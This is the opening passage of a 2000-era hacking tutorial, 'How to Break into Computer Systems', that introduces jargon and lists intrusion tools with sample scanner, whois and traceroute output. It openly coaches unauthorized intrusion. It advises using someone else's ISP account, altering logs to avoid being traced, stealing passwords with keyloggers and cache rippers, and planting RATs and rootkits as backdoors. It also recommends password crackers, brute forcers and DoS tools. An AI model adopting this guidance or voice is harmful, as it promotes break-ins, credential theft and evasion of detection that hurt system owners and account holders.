The Beginning

-= How to Break into Computer Systems =-- Release 3.0 -

Portwolf, 2000

portwolf@portwolf.com

Information Insemination
__________________________________________________
Forward
New in Release 3
Intro
Prerequisites
Intro to h/p/v/c
A little Hacker lingo
Ethics
What you need - a Hacker's equipment
Keeping from getting caught
TCP/IP and the Client/Server model
Getting Started - You're first night as a Newbie
UNIX
Windows NT
Netware
Miscellaneous OS’s
"Unbelievable... a Hacker!"
Elite Hacker Tactics
System Exploits
Firewall Penetration
In Summary
Appendix A - Dialup Hacking
Appendix B - commonly used UNIX passwords / usernames
Appendix C - basic UNIX commands
Appendix D - NT Hex Codes
Appendix E - well known TCP ports
Appendix F - NT and UNIX groups
Appendix G - Further Reading
__________________________________________________

Forward
Imagine two rooms.  Between these two rooms is a solid brick wall.  We as human being have been conditioned to believe that this wall keeps us from moving from one room to the other.  From the moment each of us were born, we have been taught that we cannot move between these rooms.  We have been  made to think according to predefined rules.  We think… in a box.  Boxthinkers.  Hacking - by any definition - is the art of thinking outside of that box.  To creatively formulate new, unconventional ways to do things.  Dennis Ritchie (the creator of C), Linus Torvalds, the people at Xerox who invented the mouse.  All became who they were for thinking outside the box.  Kevin Mitnick, Kevin Paulson - accomplished the legendary computer and phone system break-in they did for not being boxthinkers.  Computer hacking does require an amount of technical knowledge.  That’s why you’re reading this manual.  Arguably more important, though, is creativity.  Resourcefulness, and an open mind.  When shown a brick wall, know that it is possible to get into the other room - all you have to do is figure out how. 

“You have to let it all go, Neo.  
Fear. Doubt.  
Free your mind.”
	-Morpheus, The Matrix

New in Release 3
Well, its 2000 now.  Many Years ago hackers were very few, and pretty much unheard of.  Now its the second millennium, with technology to show for it.  And 'hackers in training' are getting their hands on computers and learning the craft in unbelievable quantities.  This is partly due to the extreme drop in cost in computer hardware we've seen in the last few years.  It also is due to the demystification of the craft of hacking, and others willing to share their information and secrets.  Which is - of course - what this really is all about.  Information.  And getting it one way or another.
So here is my contribution to the technological underground.  Are you a newbie at hacking?  Are you completely new to this game, and find nothing but outdated and vague info on the subject?  Look no further - this is the exact manual you've been looking for.  Here you'll find the bare basics of hacking, including what kinds of programs you'll need and how to use them.  You’ll learn the basics of UNIX and NT.  You’ll learn how to crack any password.  You’ll learn how to defeat firewalls.  If you already know the basics, you'll learn a variety of sophisticated techniques and tactics to add to your weaponry.  And if you consider yourself a novice hacker already - great.  You'll be able to dive right into the advanced NT and UNIX break-in techniques later in this text.  If not - don't worry - you'll be able to do all this el33t stuph soon enough.
What will you find new in this release?  I have a whole new section of exploits for various platforms, including CGI vulnerabilities, where to get code for them, etc.  This should be a great resource to newbie and ueberhacker alike, it has a variety of vulnerabilities to keep an eye out for while hacking.  Also, most of the existing sections have been updated and expanded upon, especially the NT and UNIX sections.  Also, I took out the RFC on well-known ports, and just made one of my own - it seemed like a waste of space since you'll almost never see half of the ports listed there.  The ‘Elite Hacker Tactics’ section has been filled with more 31337 k-rad stuph too.  Also, this release is a bit more... resource full.  By that I mean that this isn’t a light-reading text that you’ll read once and throw away.  Most sections are pretty technical and full of content, so you'll probably have to read it a few times to get everything.  Also, DV3 servers as resource material - tables and charts of important stuff that you'll want to refer to later.  And if you're brand new to the world of h/p, some of the latter sections might confuse you - and will make sense after you've gained a bit of experience.  This cannot be stressed enough: after you read a section try out what you've learned.  Things will make more sense, and come together better.
One note though.  Be sure to read the ‘Keeping from Getting Caught’ section before  you actually try anything.  Newbies who pull off their first hack tend to get overexcited and to stupid things.  Be paranoid.  
So sit back, crack open a can of Jolt Cola, and dig in.

Intro
The reason I wrote this is because there are a vast amount of "hacking for newbies" texts available on the Internet, most by very knowledgeable individuals.  However, the vast majority are older, and cover dialup hacking only.  To explain what I mean by that, let me categorize the various means in which a hacker gains access to a computer, supermini, mainframe, etc - into three distinct genres.  There's the obvious on-site access, which is as simple as being in the premises of the system in question.  There’s dial-up access, which is simply using a modem to dial into another modem, and going from there.  And finally, there's access via the Internet.  On-site (relatively unfeasible in most cases) hacking is usually covered briefly in most of the readily available texts out there, though they mostly focus on dial-up hacking.  The idea of connecting to a computer elsewhere with a modem has been around a long time, so therefore has the dial-up access method of hacking.  But the Internet, having only been around for about 30 years, has not been a widely used method of access.  Until recently.  Actually, it hasn't been that recent, so why a guide to hacking on the internet hasn't already been written is beyond me.  A few exceptions are The Happy Hacker's Guides to Mostly Harmless Hacking series.  These 
tutorials (available at www.happyhacker.org) certainly server their purpose but are also a bit limited.  The primary focus of this text is hacking over the Internet.  There's something avatar-like, almost omniscient about the ability to be able to do so much without leaving your house.  Now, take any computer or network of any potential target of yours, and most likely they are connected to the Internet.  Which means you, as a Internet-hacker-to-be can break into it.  This is very good for people like us, because finding a computer or network on the Internet is much easier than finding a modem number (I'll explain how later).  Now, you may on occasion find yourself actually dialing right in to a computer you attempt to break into, but most systems you target won't have a dial-in modem - this trend has faded with the explosion of the Net.  One exception to this rule is NT's RAS (Remote Access Service), which I'll go into in the NT section, and in Appendix A.
One last thing before we get into the actual hacking stuff: this text will not teach you to be a hacker, nor will any text out there or any collection of texts.  Hacking is a self-thought craft, meaning you will need the dedication to go out and find materials on your own.  If you have a specific question, go ahead and ask someone on a hacker IRC channel of whatever, but if your question is too broad ('how do I hack into a Netware box?') you will be ridiculed and labeled a lamer.  Keep your questions technical in nature ('what's the SMTP command to set the recipient'), and most will be happy to share their knowledge with you.  Once you've completed this text, I suggest you play around with what you've learned (as 80% or so of what you learn will come from hands-on experience).  Next you will need some material on topics just glazed over in this text.  Get yourself a UNIX book, specifically: one on UNIX networking.  Then get yourself a book on Windows Networking.  These are also readily available.  Definitely get yourself a TCP/IP book as you delve deeper into the hacking world.  At one point, also, you'll almost have to learn at least one programming language (to become elite), so pick one, and get a book on it.  Good ones to learn are: C and Perl.  VB is good for all you Win32 gurus.  Other books you should have in your collection are general hacking books.  The book Maximum Security is very informative, as is Secrets The Happy Hacker.  Hacking Exposed is a new one that I haven't seen yet, but heard good things about it.  Secrets of a Super Hacker, Steal This Computer Book, and the New Hacker's Dictionary are at least worth checking out at your library.  If all this seems like too much work, well then you probably lack the dedication to become a hacker.  If you're still eager to learn - great!  This text will point you in the right direction.  So, without further adoo (adu?) - on with the hacking!

Prerequisites
First of all, let me say that it is assumed that the reader of this text already has a basic working knowledge of computers and the Internet.  Not extensive, by any means.  This text is targeted to people who probably have their own computer (or ready access to one), surf the web, and have always wanted to know what exactly hacking was all about.  If you start reading and find yourself lost, put this down and go get yourself a basic book on computers and the Internet before you delve into this.  For example, its assumed that you already know what a URL (web address) looks like (eg: http://www.hackers.com/archives).  Also, you should know what a 'prompt' looks like (eg: C:\, %, or #).  
This really goes without saying, but I as the writer of this text, take no responsibility in the actions of those who act based upon principals learned by reading this material.  Really, this is intended to inform anyone who's always wondered how exactly these "hackers" they hear so much about do what they do, and for concerned system administrators who want to know how hackers can infiltrate their network.  Breaking into systems then deleting all sort of stuff doesn't prove you're leetness, it proves your immaturity.  This manual can make you a bad-guy in a day, so don't be.  Okay, anyways, onto the good stuff.  

Intro to h/p/v/c
This is an acronym you're sure to see a lot, or sometimes just h/p.  This refers to activities of the digital underground.  It stands for hacking/phreaking/virii/crypto.

Hacking
The subject of this manual.  Arguably synonymous to the term 'cracking.'  Though some might tell you that hacking means to creatively (and legally) explore different subjects of computers, like programming and networking; while cracking refers to breaking into various systems.  I'll let you form your own definitions of each.

Phreaking
Phreaking, in a nutshell, is hacking the public telephone network (the PSTN).  Phreaking isn't done with computers (most often) though.  Now, there aren't really things to break into on the telephone network - so hacking might not be the exact term.  Phreaking is more of exploring the phone network, learning how it works and how (in some cases) to circumvent traditional 'blocks.'  Phreaks use what are called boxes.  Ever heard of a redbox or a bluebox?  These are the two most well-know phreaker tools.  Redboxes are autodialers (available at Radio Shack) with a crystal of a different MHz used to generate the tones made when you drop coins into a payphone.  Meaning - free calls.  Nowadays these don't work on the newer payphones - but if you live in a smaller town with older systems, its worth a try.  Blueboxes are used to gain the privileges of the average operator.  Beige boxes (also called linesman handsets) are used to connect to phone box terminals that are located in various places.  Other boxes include: the orange box, the yellow box, the black box, and pretty much any other color you can think of.  For more info, get yourself a text on phreaking.

Virii
The plural of virus - meaning computer virus.  Viruses really have nothing to do with hacking (contrary to the movie 'Hackers') - but are a component of the underground.  Originally, viruses were written in assembly, which is like a very low-level programming language (the language used to write the programming languages).  Assembly code is just a step above binary (ones and zeros), and isn't coherent at all.  At any rate, creating viruses then was honorable only because of the complexity involved.  Now, though, viruses are written in C, perl, C++, java, scripting languages (like javascript), and even ActiveX.  Much less skill is required - making virus writing not much of an accomplishment.  In fact, programs like Virus Lab exist that aid completely computer-stupid people in making their own viruses.  
Types of viruses include: the boot sector virus.  These infect (copy their code into) the boot sector of your hard drive (the MBR, specifically), so the every time you boot up, the virus is loaded into memory.  A virus in memory is said to be 'active' - and once active, viruses can do whatever they were created to do.  File viruses are another kind.  They infect executables (applications) or 
individual files.  Whenever the infected program is run, or the infected file loaded into memory (eg: opening an infected MS Word file) the virus becomes active.  Some less educated people may also tell you that a Trojan Horse is another kind of virus - in fact most virus checker software look for them also.  Trojans are in fact, tools that we (hackers) use.  They are back door programs, remote administration tools, fake login screens, even keyloggers are considered Trojans by some.  Don't be confused though - Trojans are not virii.  I'll go into more depth on Trojans later.

Crypto
Cryptography.  Encryption is a security measure used in many ways.  Put simply - encrypting something (a file, a word, whatever) changes it into something incomprehensible.  For example, if I encrypted the word: 'windows', it might look something like: '2mkd032nwds'.  The text or file before encryption ('clear text') is converted into the jargon ('cipher text') by means of an encryption algorithm.  This is a complex mathematical and logical equation used to cipher data.  Two common uses of encryption are password hashing and VPNs.
Whenever you log into any kind of computer system, the OS compares the password you entered to the password it has on file to determine if you entered the password correctly.  However, keeping passwords on file is inherently insecure.  The solution - encryption.  The system (be it UNIX, NT, or whatever) keeps the passwords encrypted (called the 'hash'), and decrypts in temporarily just long enough to see if it matches what you entered.  (This is all done in RAM, the password hashes in the actual password file on the hard disk stays encrypted).  
Virtual Private Networks (VPNs) are two computers talking to each other over a publicly accessible network (usually the Net) that encrypt all data before sending it to one another.  The machine on the other end of this link then decrypts it, and vice versa.  This way, if the data is intercepted (by say, a sniffer - a tool you'll learn to use) it's incomprehensible to the interceptor.  This is the same way SSL (Secure Socket Layer - encrypted HTTP or https) and SSH (Secure SHell - encrypted telnet sessions) work.
You can use encryption to your advantage.  Get PGP (Pretty Good Privacy) or some other military-strength encryption scheme and encrypt your secret files (ie: your hacker stuph!).  Federal authorities cannot force you - even in court - to give out the key to your encryption.

A little Hacker lingo
I'll get the jargon out of the way now, in case I refer to one of these terms later.  
OS - Operating System.  The OS handles CPU and memory usage of the system, manages applications, and provides the interface.  Common OS's are: Windows, UNIX, MacOS, VMS, DOS, Netware, OS/2, and Be.
Hacker - one who infiltrates and explores various computer systems for the sole purpose of expanding their knowledge and satisfying their insatiable thirst for information.
Cracker - a hacker who acts maliciously.  Deletes, crashes, implements viruses, etc.
Warez d00d - a lowlife techno weenie who sells pirated software (basically people who couldn't quite make it as a hacker).
Elite, leet, el33t, 31337, etc - a hacker who's learned just about everything there is to know regarding computers, networks, and security (not really possible).  Many claim to be leet, very few are.
Newbie - an amateur hacker (different from a lamer).
Lamer - a complete hacker wannabe.  The difference between a newbie and a lamer is this: a lamer knows a little bit, decides that's enough, and calls himself a hacker.  A newbie also knows a little bit, but is humble enough to know that there is a lot more to be learned.
Root - status on any system that gives the hacker total control of it.  Usually, root is the desired end result of any hack.
Shell - a shell is an interface between you as a user and a particular computer.  Windows Explorer is a shell, DOS prompts are a shell.  If you log into a UNIX machine, you are using a shell
Rootshell - A rootshell is a shell with root (superuser) privileges to resources on that machine.  You can obtain a rootshell by either logging into the box as root (assuming you have the password) or by using an exploit program to create a rootshell for you (more on this later).
Packet - when data is sent over a network, it is broken down into manageable chunks called packets.  This isn't always the case, but in TCP/IP (the protocol used on the Internet), this is always true.
Protocol - a set of rules and guidelines that computers on a network must follow in order for communications to be coordinated, and therefore successful.  A protocol defines specifically how data is broken into packets, sent over a wire, and reassembled at the other computer (and how sessions are set up over a network).
Client - Usually refers to either A: a computer on a network that requests resources from a server, or a computer that is not a server; or B: a program that makes request of a server or service.  Netscape Navigator and Internet Explorer are client software programs in that they request web pages from servers.
Server - Either A: a computer set up to share resources such as printers, files, or serve web sites, or B: a program used to fofull requests, such as IIS (Microsoft's Internet Information Server).  More on clients and servers later.
Proxy Server - Okay, if a company has its own network and its own website, there will be a portion of the network accessible (with a username and password, of course) by anyone with Internet access.  All the HTML files for the company's website will be somewhere on this segment of the network.  Then, there will be the portion of the network strictly for business purposes, hidden from the rest of the world.  A proxy server (along with sometimes a firewall) separates these two segments.  So if you want to access the restricted part of any network, you will need to do it via the proxy server.  Also, if all the workstations in an office have Internet access, they most likely do through the proxy server.
Firewall - Sort of like a proxy server, but has no other purpose but to keep unauthorized user out.  Even if you have a valid username and password for a system - if a firewall is in your way, you're pretty much out of luck.  Hacking through one is very difficult -even for the leet.  It is possible, though, and I've provided a few techniques and angles to cracking them in the Firewall Penetration section.  
Daemon - A daemon is a program that is active but does nothing until a certain condition becomes true (similar to a TSR, or program in your Win9X system tray).  Daemons often 'listen' on certain TCP ports of a machine on the Net, and when a connection is made, they will do what intended.  For example, when you browse www.hotmail.com, you're browser connects to TCP port 80, and the daemon listening on that port (httpd, usually) sends you a copy of the web page you requested.  More on this later.

Ethics
I won't bore you with the usual "never use your powers for evil" stuph, but I have to throw out my opinion on ethics.  Hacking maliciously, be it by deleting files, screwing with configurations, or what have you, besides being just plain mean, is a sure way to motivate people into tracing you.  As a rule, you should never change any files on a system you break into.  The lone exception to this is altering log files to cover your tracks (explained later).  Hacking webpages - changing the default web page to 'Pheer me!  This box was haxored by M4nt|S' - is a bit of a gray area.  Technically, its considered malicious, and will piss the sysadmin of the network off.  But if you must - at least back up the original index.html or default.htm file.

What you need - a Hacker's equipment
Here is a basic list of the hardware, software, and other miscellaneous things you will need to begin your days in the world of digital espionage.
•		A computer (duh) with some kind of Internet access, be it PPP, a T1, or whatever (more on this 	later).
•		One, preferably two accounts with an ISP, your phone company, or whatever.  One should be in 	no way shape of form attached to you (ie: someone else’s account!)  More on this later.
•		The following software:
•			An Internet browser.
•			A telnet client.
•			An FTP client.
•			A ping utility.
•			An IP scanner.
•			A port scanner.		
•			A whois and nslookup utility.
•			A traceroute utility.
•			A password cracker.
•		Less necessary but very useful utilities include:
•			A CGI vulnerability scanner
•			A Net BIOS share scanner.
•			A finger client.
•			Compilers.
•			Cache rippers.
•			A brute force program of some sort.
•			Trojans, rootkits, and RAT's.
•			Internet warfare tools.
•			Sniffers.
•			Keyloggers.
•	Sound complicated already?  Its really not - I'll explain the function of each, along with some good ones of each.  Almost all the programs I talk about here are available at The CyberUnderground (http://home.cyberarmy.com/tcu).  Otherwise, try www.hackersclub.com, www.hackers.com, www.anticode.com, or just do a search online.
•	
•	Internet Browsers
•	If you don't know what this is or where to get one, you should probably put this manual away.  IE and Netscape are the two biggies.  Lynx is phun to surf with on occasion (UNIX).  Whatever browser you use, make sure it allows for the use of proxies.  IE and Netscape do (even the older versions), so now would be a good time to familiarize yourself with the proxies options for each (more on this later).  Also, make sure your browser supports gopher (which is kinda like HTML but only text) incase you stumble upon an old gopher server - these can be goldmines of information!  IE and Netscape support gopher - to use it just type gopher:// instead of http://.
•	
•	Telnet Clients
•	Almost any OS you get these days has some sort of telnet client.  Just type 'telnet' at a command prompt (Windows or UNIX).  This is the primary means in which you'll connect to computers, and though its a simple enough program, to hack you'll have to become very familiar with how it works.  Though fine for newbies, you'll probably find the Windows telnet client a bit... lackluster later in your hacking career.  PuTTY is a good replacement (which, by the way, supports SSL and raw TCP connections - very handy).  Whatever you use, make sure you can log (record) your sessions to a text file.  The Windows client does allow for this, so try it out.
•	
•	FTP Clients
•	FTP is the Internet protocol used to transfer files between two computers, though I'll go into more depth on this later.  Both UNIX and Windows 9X come with command-line FTP clients.  IE and Netscape have built-in FTP clients, and are even a GUI.  The downside of them is that you can't issue commands.  To use it, just type ftp:// instead of http://.  You can also buy full-blown GUI FTP clients like WS FTP (www.ipswitch.com), and FTP Explorer (www.microsoft.com).  My personal opinion, though, is that command-line is faster and gives you more control.
•	
•	Ping Utilities
•	Both UNIX and Windows 9X have command-line ping utilities.  Ping is a simple program (part of the ICMP protocol - which you'll learn later) with one purpose: to test the connectivity between two machines.  To ping a computer type:
•	
•	%ping www.computername.com
•	(the '%' is a UNIX prompt - similar to C:\)
•	If there is an unblocked path between you and www.computername.com, the ping will be returned by a pong, a reply.  Ping is used to test connections, and to determine the time it takes for the ping packet to make a round trip.  For example, a successful (unblocked) ping might look like:
•	
•	c:\ping www.msn.com
•	pinging www.msn.com [221.54.64.7] with 32 bytes of data:
•	Reply from 221.54.64.7: bytes=32 time=100 ms TTL=32
•	Reply from 221.54.64.7: bytes=32 time=90 ms TTL=32
•	Reply from 221.54.64.7: bytes=32 time=95 ms TTL=32
•	Reply from 221.54.64.7: bytes=32 time=100 ms TTL=32
•	
•	Whereas an unsuccessful ping might look like:
•	
•	c:\ping 201.33.250.1
•	pinging 201.33.250.1 with 32 bytes of data:
•	unable to establish connection
•	
•	You can play around with switches to send pings of different payloads (sizes), number of packets, and TTL.  With both UNIX and Windows pings, you can get an IP address from a host name, and vice versa.  More on IP addresses later.
•	
•	IP Scanners
•	Sometimes called a subnet scanner.  Ever heard of a wardialer?  A wardialer is a program used by old-school hackers.  All it did was dial phone numbers in a specified range looking for modems.  An IP scanner does the same thing - enter a range of IP addresses or a subnet, and it will ping each address in that range or subnet to determine if that address belongs to a computer (and if it is reachable, ie: not blocked by a firewall, proxy server, or router).  Most IP scanners prompt you for a start address and an end address - and it will attempt to ping every address in between.  Subnet scanners, though, ask for the first three octets, and it will scan from .1 to .254 (the entire block).  If you don't know how IP addressing works, you will after reading the TCP/IP section.  Here's an example IP scanner output screen:
•	
•	Scan from: 130.11.8.1
•	Scan to: 130.11.8.10
•	-------------------------------
•	Scanning from 130.11.8.1 to 130.11.8.10
•	130.11.8.1: Connected
•	130.11.8.2: Connection Refused
•	130.11.8.3: Connection Refused
•	130.11.8.4: Connection Refused
•	130.11.8.5: Connection Refused
•	130.11.8.6: Connected
•	130.11.8.7: Connected
•	130.11.8.8: Connection Refused
•	130.11.8.9: Connected
•	130.11.8.9: Connection Refused
•	130.11.8.9: Connected
•	
•	A 'connected' means that the machine can be pinged, or connected to.  A 'connection refused' means that either no computer belongs to that IP address, or that the machine isn't accessible to you: behind a firewall or proxy server.  Some IP scanners show each machine in the scan, while others only show the ones that were successfully connected to.
•	Good IP scanners are: HakTek, WS PingProPack, and Shadow Scan.  Online scanners are available at places such as http://infinityzone.cjb.net.
•	
•	Port Scanners
•	A port scanner scans a particular IP address or hostname (a particular computer) for open ports.  No, I don't mean serial or parallel ports.  TCP ports - services, programs running on that server that can be connected to.  The concept of ports will be explained in detail in the TCP/IP section of this manual.  For now, just know that port and IP scanners are two very important tools you'll need.  Output from a port scanner might look something like:
•	
•	Scan: 20.1.139.21
•	Scan from: 1
•	Scan to: 1024
•	-------------------
•	Scanning from TCP port 1 to port 1024
•	Open: 16 (chargen)
•	Open: 21 (ftp)
•	Open: 23 (telnet)
•	Open: 25 (smpt)
•	Open: 80 (www)
•	Open: 79 (finger)
•	
•	This means that ports 16, 21, 23, 25, 79, and 80 are open an this particular machine (20.1.139.21).  Port numbers are generally used for a specific service, for example an open port 79 almost always is used for fingerd (the finger daemon, or service).
•	Good port scanners are: NMap (UNIX), HakTek, WS PingProPack (which will scan IP ranges and ports on each one), and YAPS.  Online scanners are available also.  These are nice because the server running the scan scripts do the scanning, meaning their IP addresses get logged on the target machine - not your own.  This is a good way to keep from being traced.
•	
•	Whois and NSLookup
•	Whois is a utility used to find out who a particular domain name (eg: hackersclub.com) belongs to.  If you whois a site, you'll get the address, phone number, and email address of the technical contact (probably the system administrator) and the administrative contact (probably the owner or person who runs that name / business) of it.  NSlookup, on the other hand, is a utility to find out what domain a particular hostname or IP address belongs to, and what name servers represent it.  This is useful when trying to map out networks, and find determine all machines belonging to a certain domain.  The concept of mapping networks, name servers, and the like will be explained in more detail in later sections.  Here is a sample whois query:
•	
•	%whois aol.com
•	connecting to rs database...connected
•	America Online (AOL-DOM)
•	12100 Sunrise Valley Drive
•	Reston, Virginia 22091
•	USA
•	Domain Name: AOL.COM
•	
•	Administrative Contact:
•	O'Donnel, David  B pmdatropos@aol.com
•	(730) 453-4255
•	Technical Contact:
•	America Online trouble@aol.net
•	(730) 453-4160
•	
•	Record last updated on 13-mar-97
•	Record created on 22-jun-95
•	
•	Domain Servers listed in order:
•	dns-01.aol.com 152.163.12.1
•	dns-aol.fu.net 122.56.87.3
•	
•	By whois-ing aol.com, we get a wealth of (public) info.  We get phone numbers to social engineer if need be (explained later).  We get email addresses (valid login names).  We get the hostnames and IP addresses of the DNS servers (also explained later).  All things to be noted when trying to hack a particular domain.  
•	Here's an example nslookup query:
•	
•	%nslookup oliver.mail.tlsp.com
•	[no name] (oliver)
•	   Hostname: oliver.mail.tlsp.com
•	   Address: 103.222.54.8
•	   System: SUN running SUNOS
•	   nameserver: ns1.mail.tlsp.com
•	   nameserver: ns.tlsp.com
•	   nameserver: ns2.tlsp.com
•	   nameserver: name.att.net
•	
•	So, let's say that we wanted some info on the computer oliver.mail.tlsp.com.  We run an nslookup on it, as shown above, and look at all the stuff we get.  The IP address, what kind of machine it is (a Sun box), the OS (SunOS - a flavor of UNIX).  We get all the domain name servers for that domain - including tlsp.com's upstream provider - their ISP.  All very useful information.  If you're new to hacking and aren't sure how all this info will help you break in, you will as you get further into this manual.
•	UNIX has whois and nslookup built right in - just type either at a prompt.  Windows, however, doesn't - you'll have to go and get nslookup and whois utilities for your Windows box.  Good ones are Sam Spade and WS_PingPrpPack - both available at TCU.  What's the difference between whois and nslookup?  You whois a domain name (something.com), whereas you nslookup a particular machine (IP address or host name).  Now would be a good time to download one of each (both programs listed above have both utilities) and play with them a bit.
•	
•	Traceroute
•	The Internet is an internetwork (hence the name), meaning a network of networks.  These individual networks are connected together by sophisticated pieces of hardware called routers.  Oftentimes, there are multiple routes between your computer and any other on the Net.  Traceroute utilities do just that - trace the route between you and any computer you specify, listing the IP address of any router it passes through to get there.  Traceroute is used to troubleshoot network problems, mostly.  As a hacker you can do a number of things with traceroute.  If you're being blocked from a particular IP address on the Net, you can run a traceroute to it and find out exactly where you're being blocked at.  Also, you can find your target's upstream provider with traceroute - handy in mapping networks and 
•	learning more about your potential victim.  Both UNIX and Windows have traceroute utilities built in: for UNIX, type 'traceroute', for Windows type 'tracert' at a command prompt.  Output from a traceroute might look like:
•	
•	C:\tracert www.yahoo.com
•	tracing route to www.yahoo.com [250.217.111.6]
•	over a maximum of 30 hops:
•	1  150ms 144 ms 138 ms dialup-b.yourisp.net (110.135.87.4)
•	2  99 ms 145 ms 150 ms cisco7k.mr.com (32.55.87.1)
•	3  100 ms 144 ms 161 ms routel2.uswest.com (98.2.3.78)
•	4  160 ms 160 ms 143 ms gateway.con324.att.net (178.68.111.3)
•	5  147 ms 162 ms 177 ms intern.net3.yahoo.com (250.23.87.2)
•	6  171 ms 168 ms 165 ms www.yahoo.com (250.11.45.87)
•	trace complete
•	
•	Here we had to go through 4 routers to get to www.yahoo.com.  The first entry (dialup-b.byourisp.net) is your computer - the last is your destination.  Now, pretend for a minute that www.yahoo.com was blocked by a firewall.  Then your traceroute might look like:
•	
•	C:\tracert www.yahoo.com
•	tracing route to www.yahoo.com [250.217.111.6]
•	over a maximum of 30 hops:
•	1  150ms 144 ms 138 ms dialup-b.yourisp.net (110.135.87.4)
•	2  99 ms 145 ms 150 ms cisco7k.mr.com (32.55.87.1)
•	3  100 ms 144 ms 161 ms routel2.uswest.com (98.2.3.78)
•	4  160 ms 160 ms 143 ms gateway.con324.att.net (178.68.111.3)
•	intern.net3.yahoo.com reports: host unreachable
•	
•	Here intern.net3.yahoo.com is telling us that it wont let any our packets get past it.  Most likely a firewall of some sort.  If ever you can't connect to an IP address or hostname that you know to be valid, traceroute to it and find out what's blocking you.  Now, if you look at all this hostname and IP address stuph and scratch your head - don't worry.  You'll understand better after reading the 'TCP/IP and the Client/Server Model' section.  
•	
•	Password Crackers
•	As described in the Crypto section of 'Intro to h/p/v/c', the passwords of any computer system are encrypted.  Oftentimes your ultimate goal in hacking into a machine will be to get the file that holds these passwords.  This step, though difficult, is usually one of your last.  So if you can get your hands on /etc/passwd of a UNIX box, or the sam._ file or a registry dump from an NT box, you'll want a password cracker program to decrypt the hashes.  How do these work?  Well, most OS's (including NT, Netware, and UNIX) use the DES (Digital Encryption Standard) encryption form.  So knowing that, its possible to decrypt the password hashes, with the aid of a dictionary.  Yes, a dictionary - in this case a file of thousands of words.  What the cracker program will do is take each word from the dictionary file, encrypt it using DES, and see if the encrypted dic word matches the encrypted password.  If so - that word is (95% of the time) the password.  Needless to say, the bigger the dictionary file, the more likely you are to crack passwords.  Some crackers have the option to try every combination of characters possible (instead of using wordlist files), but this takes time - and is a CPU cycle hog.  
•	What password cracking program you need depends on the type of password you want to hack.
•	UNIX passwords: John the Ripper (for DOS and Windows) and Cracker Jack (for UNIX) are the most popular crackers for this OS.  Many others exist, like a program called Crack, but JtR and CJ work the best.
•	NT passwords: L0pht Crack is the most reputable and best NT cracker around.  You can crack sam._ files (the password file), or you can dump the local or remote registry (system database) and collect the SAM hive right into your L0pht program, and crack em that way.  Other NT crackers exist, but don't even come close to the speed and power of LC.
•	Windows9X passwords: Win9X stores passwords in .pwl files.  A johna.pwl file the encrypted password for user 'johnh.'  A handful of crackers for pwl's exist, the best probably being Glide.
•	Other types of passwords are Novell Netware passwords, IRC passwords, Wwwboard passwords, FTP passwords (for standalone ftp servers), and the like - and a password cracker for each exists - just search the Net.  
•	
•	CGI Vulnerability Scanners
•	CGI and how to exploit it is explained later in this text.  Basically, these scanners look for CGI scripts on a specified webserver that can be exploited.  WebChk is a good one for Windows, as is Nessus, and SATAN for UNIX.  Online CGI scanners are sometimes found online, like at infinityzone.cjb.net.  
•	
•	Net BIOS Share scanner
•	A Share (as explained in the NT section) is a directory available to people on a network.  Sharescanners just scan an IP address range or subnet for these shares.  This (like any kind of scanning) can be done manually, but scanner software speeds the process up.  WinHack Gold is a decent share scanner for UNIX, and Legion is a good one for Windows
•	
•	Finger Clients
•	Though fingering (explained later - sorry) can be done manually by telnetting into the finger port, sometimes its useful to have a finger client too.  UNIX has a built in client - just type 'finger.'  Clients for Windows include: WS PingProPack, WS Finger, and HakTek.  
•	
•	Compilers
•	Most exploits you find (little programs that exploit programming vulnerabilities in programs) are not compiled, meaning in whatever programming language they were written in.  You'll probably want a perl compiler, and an assembler.  Most UNIX's come with cc and gcc - handy C compilers.  In fact, most of your compiling will be done on a UNIX machine - either your own or a shell account.  I promise - all this UNIX, exploit, vulnerability, and programming stuph will make sense as you read further.
•	
•	Cache Rippers
•	Cache rippers are programs that take passwords from memory of a machine.  This doesn't work on UNIX and NT logon passwords.  Rippers are good for looking 'behind' asterics of things like the Dial-Up Networking dialogue box, and getting the passwords.  These are useful only if at the machine, and are a good way to filch ISP accounts.  Download Dripper or Revelation and play with them a bit.
•	
•	Brute Force Programs
•	Brute force is a simple attack that involves hurling passwords at a system until it cracks.  A brute force program might spit usernames and passwords at a UNIX login prompt, or at an NT login box.  Many exist - the problem is that BFing takes lots of time, and generally lets the admin of your target know that someone is trying to get in.  As explained later - BFing should be a last resort.  Also, the type of BF engine you'll use depends on what exactly you're trying to break into.  For a generic BF program, download Claymore from TCU's Buffer Overflow section.  Brutus (home.cyberarmy.com/tcu/buffer.html) is a good BF prog for telnet, FTP, and HTTP also.  
•	
•	Trojans, rootkits, and RAT's
•	Trojan's were explained briefly in the Virii section above (due to the misconception that Trojans are virii).  Using Trojans will be explained later.  They, rootkits, and RAT's (Remote Administration Tools) are all similar - they server as hidden backdoors, and utilities to remotely control other computers.  Examples are SubSeven, Back Orifice, and Netbus.  Installing these on your target computer is usually the last step you'll take in hacking in.  They allow you complete control of the system as well as a way back in later.  
•	
•	Internet Warfare Tools
•	These are programs with no other use that to wreak havoc.  They come in a variety of categories.  DoS (Denial of Service) programs do nothing more than crash servers.  Using these is usually as simple as entering an IP address and hitting enter.  Bitch Slap and WinNuke are good examples of DoS progs.  Using these - besides being needlessly destructive - require absolutely no intelligence at all, and are usually used by lame kiddies who couldn't quite make it as real hackers.  The only reason I even bring up Internet Warfare tools is because its a good idea to have at least one on hand.  Not WinNuke - programs like Divine Intervention.  DI ]|[  has utilities including ping floods, irc floods and bots, and the like.  If you venture into IRC channels, you may occasionally find yourself... "in a dark alley," and wouldn't want to be unarmed.  Keep Net Watcher up - if someone tries to nuke you - you'll know it.
•	
•	Sniffers
•	Sniffers are a very useful tool for the seasoned hacker.  In a nutshell, they 'sniff' all (or some designated) packets that pass it on the network, and record all the data into logfiles for the hacker to view.  Oftentimes hackers sniff password hashes that traverse the network.  How to use and place network sniffers will be gone over later.
•			
•	Keyloggers
•	Just that - programs that record keystrokes on a machine.  Handy for stealing passwords.  For example - lets say you managed to hack into a Netware box with the account: Guest.  But Guest has just about zero privileges to anything phun.  The answer might be to put a keylogger on that machine and see what turns up.
•	
•	Specialized Tools
•	There are a few programs that are more specific in their purpose and use (and therefore more effective).  Here are the biggies that you should eventually have in your collection
•	
